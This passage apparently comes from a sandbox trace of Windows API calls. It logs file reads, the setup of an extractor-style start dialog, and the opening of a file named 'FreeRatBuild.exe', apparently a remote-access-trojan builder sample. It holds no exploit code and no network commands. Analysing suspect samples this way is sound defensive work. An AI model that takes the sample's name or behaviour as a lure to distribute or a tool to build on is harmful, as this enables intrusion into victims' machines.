lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x1bf20 [0069.676] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.676] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=122640, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x1df10 [0069.676] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x1df10 [0069.676] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.676] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=130816, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x1ff00 [0069.676] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x1ff00 [0069.677] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.677] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=138992, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x21ef0 [0069.677] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x21ef0 [0069.677] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.677] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=147168, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x23ee0 [0069.677] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x23ee0 [0069.677] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.677] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=155344, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x25ed0 [0069.677] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x25ed0 [0069.677] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.677] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=163520, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x27ec0 [0069.677] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x27ec0 [0069.677] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.677] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=171696, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x29eb0 [0069.678] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x29eb0 [0069.678] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.678] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=179872, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x2bea0 [0069.678] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x2bea0 [0069.678] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.678] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=188048, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x2de90 [0069.678] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x2de90 [0069.678] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.678] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=196224, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x2fe80 [0069.678] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x2fe80 [0069.678] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.678] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=204400, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x31e70 [0069.678] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x31e70 [0069.678] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.678] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=212576, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x33e60 [0069.679] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x33e60 [0069.679] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.679] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=220752, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x35e50 [0069.679] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x35e50 [0069.679] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.679] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=228928, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x37e40 [0069.679] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x37e40 [0069.679] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.679] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=237104, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x39e30 [0069.679] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x39e30 [0069.679] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.679] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=245280, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x3be20 [0069.679] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x3be20 [0069.679] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.680] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=253456, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x3de10 [0069.680] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x3de10 [0069.680] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.680] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=261632, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x3fe00 [0069.680] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x3fe00 [0069.680] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.680] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=269808, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x41df0 [0069.680] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x41df0 [0069.680] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.680] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=277984, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x43de0 [0069.680] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x43de0 [0069.680] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.680] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=286160, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x45dd0 [0069.680] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x45dd0 [0069.681] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.681] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=294336, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x47dc0 [0069.681] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x47dc0 [0069.681] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.681] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=302512, lpDistanceToMoveHigh=0x18b8f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18b8f8*=0) returned 0x49db0 [0069.681] SetFilePointer (in: hFile=0x1bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18b918*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18b918*=0) returned 0x49db0 [0069.681] ReadFile (in: hFile=0x1bc, lpBuffer=0x18b92c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18b8e4, lpOverlapped=0x0 | out: lpBuffer=0x18b92c*, lpNumberOfBytesRead=0x18b8e4*=0x2000, lpOverlapped=0x0) returned 1 [0069.681] CloseHandle (hObject=0x1bc) returned 1 [0069.682] GetModuleHandleW (lpModuleName=0x0) returned 0xa10000 [0069.682] FindResourceW (hModule=0xa10000, lpName="RTL", lpType=0x5) returned 0x0 [0069.682] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0xc) returned 0x4bd6620 [0069.682] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0xc) returned 0x4bd6368 [0069.682] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.682] GetProcAddress (hModule=0x74ec0000, lpProcName="DialogBoxParamW") returned 0x74f206c0 [0069.682] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x18fbc8 | out: lpflOldProtect=0x18fbc8*=0x4) returned 1 [0069.688] DialogBoxParamW (hInstance=0xa10000, lpTemplateName="STARTDLG", hWndParent=0x0, lpDialogFunc=0xa2aee0, dwInitParam=0x0) returned 0x1 [0069.902] GetLastError () returned 0x0 [0069.902] SetLastError (dwErrCode=0x0) [0069.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="$STARTDLG:", cchWideChar=-1, lpMultiByteStr=0x17d228, cbMultiByte=80, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$STARTDLG:", lpUsedDefaultChar=0x0) returned 11 [0069.902] GetLastError () returned 0x0 [0069.902] SetLastError (dwErrCode=0x0) [0069.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="$STARTDLG:SIZE", cchWideChar=-1, lpMultiByteStr=0x17cd4c, cbMultiByte=80, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$STARTDLG:SIZE", lpUsedDefaultChar=0x0) returned 15 [0069.902] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.903] GetProcAddress (hModule=0x74ec0000, lpProcName="GetWindowRect") returned 0x74ed4140 [0069.903] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x17d154 | out: lpflOldProtect=0x17d154*=0x4) returned 1 [0069.903] GetWindowRect (in: hWnd=0x701ec, lpRect=0x17d1f4 | out: lpRect=0x17d1f4) returned 1 [0069.903] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.904] GetProcAddress (hModule=0x74ec0000, lpProcName="GetClientRect") returned 0x74ed59f0 [0069.904] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x17d154 | out: lpflOldProtect=0x17d154*=0x4) returned 1 [0069.904] GetClientRect (in: hWnd=0x701ec, lpRect=0x17d218 | out: lpRect=0x17d218) returned 1 [0069.904] GetLastError () returned 0x0 [0069.904] SetLastError (dwErrCode=0x0) [0069.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="$STARTDLG:CAPTION", cchWideChar=-1, lpMultiByteStr=0x17d160, cbMultiByte=80, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$STARTDLG:CAPTION", lpUsedDefaultChar=0x0) returned 18 [0069.904] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.904] GetProcAddress (hModule=0x74ec0000, lpProcName="GetSystemMetrics") returned 0x74ed9160 [0069.905] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x17d158 | out: lpflOldProtect=0x17d158*=0x4) returned 1 [0069.905] GetSystemMetrics (nIndex=8) returned 3 [0069.905] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.905] GetProcAddress (hModule=0x74ec0000, lpProcName="GetWindow") returned 0x74edd570 [0069.905] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x17d154 | out: lpflOldProtect=0x17d154*=0x4) returned 1 [0069.906] GetWindow (hWnd=0x701ec, uCmd=0x5) returned 0x6003e [0069.906] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.906] GetProcAddress (hModule=0x74ec0000, lpProcName="SendMessageW") returned 0x74ed5d90 [0069.907] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x17dad0 | out: lpflOldProtect=0x17dad0*=0x4) returned 1 [0069.907] SendMessageW (hWnd=0x701ec, Msg=0x80, wParam=0x1, lParam=0x4802eb) returned 0x0 [0069.912] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.912] GetProcAddress (hModule=0x74ec0000, lpProcName="SendDlgItemMessageW") returned 0x74eecc00 [0069.912] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x17dacc | out: lpflOldProtect=0x17dacc*=0x4) returned 1 [0069.913] SendDlgItemMessageW (hDlg=0x701ec, nIDDlgItem=108, Msg=0x172, wParam=0x0, lParam=0x54050993) returned 0x0 [0069.917] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.918] GetProcAddress (hModule=0x74ec0000, lpProcName="GetDlgItem") returned 0x74eecc40 [0069.918] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x17dad8 | out: lpflOldProtect=0x17dad8*=0x4) returned 1 [0069.918] GetDlgItem (hDlg=0x701ec, nIDDlgItem=104) returned 0x302ec [0069.918] SendMessageW (hWnd=0x302ec, Msg=0x435, wParam=0x0, lParam=0x400000) returned 0x0 [0069.918] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0x18e698 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 0x1d [0069.918] GetDlgItem (hDlg=0x701ec, nIDDlgItem=102) returned 0x5004c [0069.918] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.919] GetProcAddress (hModule=0x74ec0000, lpProcName="SetWindowTextW") returned 0x74eec990 [0069.919] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x17dad8 | out: lpflOldProtect=0x17dad8*=0x4) returned 1 [0069.919] SetWindowTextW (hWnd=0x5004c, lpString="C:\\Users\\RDhJ0CNFevzX\\Desktop") returned 1 [0069.920] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.920] GetProcAddress (hModule=0x74ec0000, lpProcName="GetClassNameW") returned 0x74edeef0 [0069.920] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x17da24 | out: lpflOldProtect=0x17da24*=0x4) returned 1 [0069.920] GetClassNameW (in: hWnd=0x5004c, lpClassName=0x17daa0, nMaxCount=80 | out: lpClassName="ComboBox") returned 8 [0069.920] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="ComboBox", cchCount1=-1, lpString2="EDIT", cchCount2=-1) returned 1 [0069.920] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.921] GetProcAddress (hModule=0x74ec0000, lpProcName="FindWindowExW") returned 0x74ef4110 [0069.921] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x17da1c | out: lpflOldProtect=0x17da1c*=0x4) returned 1 [0069.921] FindWindowExW (hWndParent=0x5004c, hWndChildAfter=0x0, lpszClass="EDIT", lpszWindow=0x0) returned 0x302d2 [0069.921] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0xa70ce4 | out: lpflOldProtect=0xa70ce4*=0x2) returned 1 [0069.922] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x75a40000 [0069.922] GetProcAddress (hModule=0x75a40000, lpProcName="SHAutoComplete") returned 0x75a5c060 [0069.922] VirtualProtect (in: lpAddress=0xa72000, dwSize=0x188, flNewProtect=0x2, lpflOldProtect=0x17da28 | out: lpflOldProtect=0x17da28*=0x4) returned 1 [0069.925] SHAutoComplete (hwndEdit=0x302d2, dwFlags=0x10) returned 0x0 [0070.235] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x10c0) returned 0x4bf23d0 [0070.235] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x10c0) returned 0x4bf3498 [0070.235] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x82f0) returned 0x4bf8800 [0070.236] GetCurrentProcess () returned 0xffffffff [0070.236] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x175da4, lpSystemAffinityMask=0x175da0 | out: lpProcessAffinityMask=0x175da4, lpSystemAffinityMask=0x175da0) returned 1 [0070.237] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\FreeRatBuild.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\freeratbuild.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x228 [0070.237] ReadFile (in: hFile=0x228, lpBuffer=0x178008, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x175d6c, lpOverlapped=0x0 | out: lpBuffer=0x178008*, lpNumberOfBytesRead=0x175d6c*=0x7, lpOverlapped=0x0) returned 1 [0070.237] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x200000) returned 0x7c48020 [0070.243] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x175da0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x175da0*=0) returned 0x7 [0070.243] ReadFile (in: hFile=0x228, lpBuffer=0x7c48020, nNumberOfBytesToRead=0x1ffff0, lpNumberOfBytesRead=0x175d6c, lpOverlapped=0x0 | out: lpBuffer=0x7c48020*, lpNumberOfBytesRead=0x175d6c*=0x1ffff0, lpOverlapped=0x0) returned 1 [0070.324] SetFilePointer (in: hFile=0x228, lDistanceToMove=307200, lpDistanceToMoveHigh=0x175d80*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x175d80*=0) returned 0x4b000 [0070.324] ReadFile (in: hFile=0x228, lpBuffer=0x178008, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x175d6c, lpOverlapped=0x0 | out: lpBuffer=0x178008*, lpNumberOfBytesRead=0x175d6c*=0x7, lpOverlapped=0x0) returned 1 [0070.342] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x7c48020 | out: hHeap=0x4bc0000) returned 1 [0070.369] ReadFile (in: hFile=0x228, lpBuffer=0x17800f, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x175d6c, lpOverlapped=0x0 | out: lpBuffer=0x17800f*, lpNumberOfBytesRead=0x175d6c*=0x1, lpOverlapped=0x0) returned 1 [0070.369] SetFilePointer (in: 